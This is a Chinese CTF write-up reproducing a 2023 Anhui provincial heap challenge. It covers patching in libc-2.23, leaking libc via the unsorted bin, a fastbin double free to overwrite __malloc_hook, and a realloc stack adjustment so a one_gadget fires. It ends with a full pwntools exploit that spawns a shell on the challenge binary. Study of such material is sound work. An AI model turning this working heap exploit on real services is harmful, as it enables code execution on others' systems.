..

2023安徽省赛free复现

当时这个题目是 0 解了的。这是我第一次做堆相关的题目,当时比赛的时候不给网络,也没有事先准备什么材料,所以比赛的时候一点思路也没有。比赛结束之后参考了一下网上的一些资料问了一下 Lotus ✌ 也算是复现出来了。

libc 版本问题解决

题目给的 libc 版本为 libc-2.23.so,调试发现直接运行根本不会使用这个版本的 libc ,知道可以 patch 解决,但是感觉胖爷应该有更好的方法,遂去问 Lotus ✌

废物小高:咋让程序用他附件里给的 libc 版本啊

废物小高:[不知所措.gif]

Lotus ✌ : patchelf

还是 patch 一下吧,从网上找了一篇相关的文章,跟着做了一下

主要就是下面两句

patchelf --set-interpreter /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./double_free

patchelf --replace-needed libc.so.6 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so ./double_free

再运行,发现已经用上 libc-2.23.so 了,解决。

pwndbg> libs
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555400000     0x555555401000 r-xp     1000      0 /home/s1nk/CTF/pwn/free/double_free
    0x555555601000     0x555555602000 r--p     1000   1000 /home/s1nk/CTF/pwn/free/double_free
    0x555555602000     0x555555603000 rw-p     1000   2000 /home/s1nk/CTF/pwn/free/double_free
    0x555555603000     0x555555609000 rw-p     6000   4000 /home/s1nk/CTF/pwn/free/double_free
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000      0 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000      0 [anon_7ffff7dd3]
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000      0 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so
    0x7ffff7ff3000     0x7ffff7ff6000 rw-p     3000      0 [anon_7ffff7ff3]
    0x7ffff7ff6000     0x7ffff7ffa000 r--p     4000      0 [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000      0 [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000  25000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000  26000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000      0 [anon_7ffff7ffe]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]

本部分主要参考:

1. 利用 patchelf 修改 pwn 题目的 libc

利用

题目的名字是 free ,附件的名字是 double_free,不难让人想到题目利用的主要漏洞是 double free。从网上找了一些相关的材料,结合自己逆向分析的结果,最初确定思路大概就是

  • 利用unsorted bin 的特性泄露 libc 基地址
  • 利用 double free 实现 UAF 然后控制 fd 指针到 __malloc_hook 最终实现修改 __malloc_hookone_gadget

利用 unsorted bin 的特性泄露 libc基地址

unsorted bin 在管理时为循环双向链表,在该链表中必有一个节点(不准确的说,是尾节点,这个就意会一下把,毕竟循环链表实际上没有头尾)的 fd 指针会指向 main_arena 结构体内部。

可以通过 UAF 泄露 fd 指针,拿到一个与 main_arena 有固定偏移的地址,而main_arenalibc中的一个全局变量,它相对于libc基地址的偏移量是固定的可以通过调试得到,以获取libc基地址。

pwndbg> bins
fastbins
empty
unsortedbin
all: 0x555555609000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555609000
smallbins
empty
largebins
empty
pwndbg> vmmap libc-2.23.so
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555609000     0x55555562a000 rw-p    21000      0 [heap]
►   0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000      0 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
►   0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
►   0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
►   0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
►   0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
►   0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
►   0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /home/s1nk/CTF/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000      0 [anon_7ffff7dd3]

所以,偏移量 offset = 0x7ffff7dd1b78 - 0x7ffff7a0d000 = 3951480

泄露过程如下:

# leak libc base
alloc(0x100, b'1' * 0x100)
alloc(1, b'1') # 防止 unsorted 的那个chunk 和 top chunk 紧邻
delete(0)
show(0)

r = sh.recvline(keepends=False).ljust(8, b'\x00')
libc_addr = u64(r) - 3951480
print(hex(libc_addr))

完整代码见后文

double free

fastbin double free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次,这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块。

所以,当我们执行如下操作后,chunk#2 就会在 fastbin 中出现两次

# double free
alloc(0x60, b'1') # 2
alloc(0x60, b'1') # 3

delete(2)
delete(3)
delete(2)
pwndbg> fastbins
fastbins
0x70: 0x5565b2328000 —▸ 0x5565b2328070 ◂— 0x5565b2328000

也就是上面的 0x5565b2328000,此时我们就可以通过 alloc(0x60, p64(evil_chunk)) # 4,设置 0x5565b2328000 地址这个 chunkfd 为指定地址。

比如下图中,就是设置成了 0x7f9f2e9bbaed

pwndbg> fastbins
fastbins
0x70: 0x5565b2328070 —▸ 0x5565b2328000 —▸ 0x7f9f2e9bbaed (_IO_wide_data_0+301) ◂— 0x9f2e67cea0000000

只要控制 fd 的值指向 __malloc_hook 地址的前面一点,就可以实现对 __malloc_hook 的控制

pwndbg> x/10gx &__malloc_hook
0x7f9f2e9bbb10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7f9f2e9bbb20 <main_arena>:    0x0000000000000000      0x0000000000000000
0x7f9f2e9bbb30 <main_arena+16>: 0x0000000000000000      0x0000000000000000
0x7f9f2e9bbb40 <main_arena+32>: 0x0000000000000000      0x0000000000000000
0x7f9f2e9bbb50 <main_arena+48>: 0x00005565b2328070      0x0000000000000000
pwndbg> x/10gx ((long long)&__malloc_hook - 0x30)
0x7f9f2e9bbae0 <_IO_wide_data_0+288>:   0x0000000000000000      0x0000000000000000
0x7f9f2e9bbaf0 <_IO_wide_data_0+304>:   0x00007f9f2e9ba260      0x0000000000000000
0x7f9f2e9bbb00 <__memalign_hook>:       0x00007f9f2e67cea0      0x00007f9f2e67ca70
0x7f9f2e9bbb10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7f9f2e9bbb20 <main_arena>:    0x0000000000000000      0x0000000000000000
pwndbg> x/64bx ((long long)&__malloc_hook - 0x30)
0x7f9f2e9bbae0 <_IO_wide_data_0+288>:   0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7f9f2e9bbae8 <_IO_wide_data_0+296>:   0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7f9f2e9bbaf0 <_IO_wide_data_0+304>:   0x60    0xa2    0x9b    0x2e    0x9f    0x7f    0x00    0x00
0x7f9f2e9bbaf8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7f9f2e9bbb00 <__memalign_hook>:       0xa0    0xce    0x67    0x2e    0x9f    0x7f    0x00    0x00
0x7f9f2e9bbb08 <__realloc_hook>:        0x70    0xca    0x67    0x2e    0x9f    0x7f    0x00    0x00
0x7f9f2e9bbb10 <__malloc_hook>: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7f9f2e9bbb18: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00

为了满足chunk 的 size 字段,这里需要取 &__malloc_hook - 0x23

pwndbg> x/10gx ((long long)&__malloc_hook - 0x23)
0x7f9f2e9bbaed <_IO_wide_data_0+301>:   0x9f2e9ba260000000      `0x000000000000007f`
0x7f9f2e9bbafd: 0x9f2e67cea0000000      0x9f2e67ca7000007f
0x7f9f2e9bbb0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7f9f2e9bbb1d: 0x0000000000000000      0x0000000000000000
0x7f9f2e9bbb2d <main_arena+13>: 0x0000000000000000      0x0000000000000000

此时,size 字段为 0x7f 刚好可以过这个检查

// 检查取到的 chunk 大小是否与相应的 fastbin 索引一致。
// 根据取得的 victim ,利用 chunksize 计算其大小。
// 利用fastbin_index 计算 chunk 的索引。
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
    errstr = "malloc(): memory corruption (fast)";

使用工具查找 libc 中的 one_gadget

➜  free one_gadget libc-2.23.so
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

所以利用方法为

# leak libc base
alloc(0x100, b'1' * 0x100)
alloc(1, b'1') # 防止 unsorted 的那个chunk 和 top chunk 紧邻
delete(0)
show(0)

r = sh.recvline(keepends=False).ljust(8, b'\x00')
libc_addr = u64(r) - 3951480
# print(hex(libc_addr))

__malloc_hook = libc.symbols['__malloc_hook'] + libc_addr
ogg = 0x4527a + libc_addr

evil_chunk = __malloc_hook - 0x23

# double free
alloc(0x60, b'1') # 2
alloc(0x60, b'1') # 3

delete(2)
delete(3)
delete(2)

alloc(0x60, p64(evil_chunk)) # 4
alloc(0x60, b'1') # 5
alloc(0x60, p64(evil_chunk)) # 6
alloc(0x60, b'a' * 0x10 + b'a' * 0x3 + p64(ogg)) # 6

此时,__malloc_hook指向 one_gadget,如果顺利的话,下次 malloc 就会触发 one_gadget 进而实现 get_shell。但是事与愿违,试了所有的 one_gadget 发现都不符合条件,害。

本部分主要参考:

1. pwn学习系列之double free

2. Unsorted Bin Attack - CTF Wiki

3. glibc里的one gadget

4. Fastbin Attack - CTF Wiki

利用 realloc 调整栈使one_gadget生效

一番搜索无果后,继续选择问 Lotus ✌,

废物小高:找到的one_gadget 都不行,这种情况咋搞

废物小高:[不知所措.gif]

Lotus ✌ : 用 realloc_hook 调一下,https://blog.csdn.net/Invin_cible/article/details/123042819?spm=1001.2014.3001.5501

文章看了一下,个人理解就是把 __malloc_hook 的值设置为 realloc + ofsset ,然后 malloc 的时候就会触发 realloc,并利用 offsetrsp 的值进行调整,再把 __realloc_hook的值设置为 one_gadget ,这样在 realloc 触发后就会继续触发 one_gadget。通过前面的查看可以得知,__realloc_hook 就在 __malloc_hook 前面紧挨着。看 一下 realloc 函数的内容,发现和 Lotus ✌ 博客里的一样

pwndbg> x/20i 140391966390032
   0x7faf8d493710 <__GI___libc_realloc>:        push   r15
   0x7faf8d493712 <__GI___libc_realloc+2>:      push   r14
   0x7faf8d493714 <__GI___libc_realloc+4>:      push   r13
   0x7faf8d493716 <__GI___libc_realloc+6>:      push   r12
   0x7faf8d493718 <__GI___libc_realloc+8>:      mov    r12,rsi
   0x7faf8d49371b <__GI___libc_realloc+11>:     push   rbp
   0x7faf8d49371c <__GI___libc_realloc+12>:     push   rbx
   0x7faf8d49371d <__GI___libc_realloc+13>:     mov    rbx,rdi
   0x7faf8d493720 <__GI___libc_realloc+16>:     sub    rsp,0x38
   0x7faf8d493724 <__GI___libc_realloc+20>:     mov    rax,QWORD PTR [rip+0x33f8a5]        # 0x7faf8d7d2fd0
   0x7faf8d49372b <__GI___libc_realloc+27>:     mov    rax,QWORD PTR [rax]
   0x7faf8d49372e <__GI___libc_realloc+30>:     test   rax,rax
   0x7faf8d493731 <__GI___libc_realloc+33>:     jne    0x7faf8d493958 <__GI___libc_realloc+584>
   0x7faf8d493737 <__GI___libc_realloc+39>:     test   rsi,rsi
   0x7faf8d49373a <__GI___libc_realloc+42>:     sete   dl
   0x7faf8d49373d <__GI___libc_realloc+45>:     test   rdi,rdi
   0x7faf8d493740 <__GI___libc_realloc+48>:     setne  al
   0x7faf8d493743 <__GI___libc_realloc+51>:     and    al,dl
   0x7faf8d493745 <__GI___libc_realloc+53>:     jne    0x7faf8d493a70 <__GI___libc_realloc+864>
   0x7faf8d49374b <__GI___libc_realloc+59>:     test   rdi,rdi

那就一个个试一下,看看栈,发现当 offset 为 0xc 的时候,此时 [rsp + 30] == null 存在满足条件的 one_gadget

pwndbg> x/10gx $rsp
0x7fff9c8fa700: 0x00007faf8d49395f      0x00007faf8d48982b
0x7fff9c8fa710: 0x0000000000000004      0x00007faf8d7d4620
0x7fff9c8fa720: 0x000055c3e9e00da7      0x00007faf8d47e80a
0x7fff9c8fa730: 0x0000000000000000      0x0000000000000000
0x7fff9c8fa740: 0x0000000000000000      0x000055c3e9e00a6d

所以,完整脚本如下:

from pwn import *

# context.log_level = logging.DEBUG

sh = process('./double_free')

libc = ELF('./libc-2.23.so')

def alloc(size, content):
    sh.recvuntil(b'choice\n')
    sh.sendline(b'1')
    sh.recvuntil(b'size\n')
    sh.sendline(f'{size}'.encode('utf-8'))
    sh.recvuntil(b'content\n')
    sh.sendline(content)


def delete(id):
    sh.recvuntil(b'choice\n')
    sh.sendline(b'2')
    sh.recvuntil(b'idx\n')
    sh.sendline(f'{id}'.encode('utf-8'))

def show(id):
    sh.recvuntil(b'choice\n')
    sh.sendline(b'3')
    sh.recvuntil(b'idx\n')
    sh.sendline(f'{id}'.encode('utf-8'))


# leak libc base
alloc(0x100, b'1' * 0x100)
alloc(1, b'1') # 防止 unsorted 的那个chunk 和 top chunk 紧邻
delete(0)
show(0)

r = sh.recvline(keepends=False).ljust(8, b'\x00')
libc_addr = u64(r) - 3951480
# print(hex(libc_addr))


__malloc_hook = libc.symbols['__malloc_hook'] + libc_addr
realloc = libc.symbols['realloc'] + libc_addr
ogg = 0x4527a + libc_addr
evil_chunk = __malloc_hook - 0x23

# double free
alloc(0x60, b'1') # 2
alloc(0x60, b'1') # 3

delete(2)
delete(3)
delete(2)


alloc(0x60, p64(evil_chunk)) # 4
alloc(0x60, b'1') # 5
alloc(0x60, p64(evil_chunk)) # 6
alloc(0x60, b'a' * 0x8 + b'a' * 0x3 + p64(ogg) + p64(realloc + 0xc)) # 6
# gdb.attach(sh, f'b *{hex(ogg)}')
# pause()
sh.recvuntil(b'choice\n')
sh.sendline(b'1')
sh.recvuntil(b'size\n')
sh.sendline(f'{0x60}'.encode('utf-8'))
sh.interactive()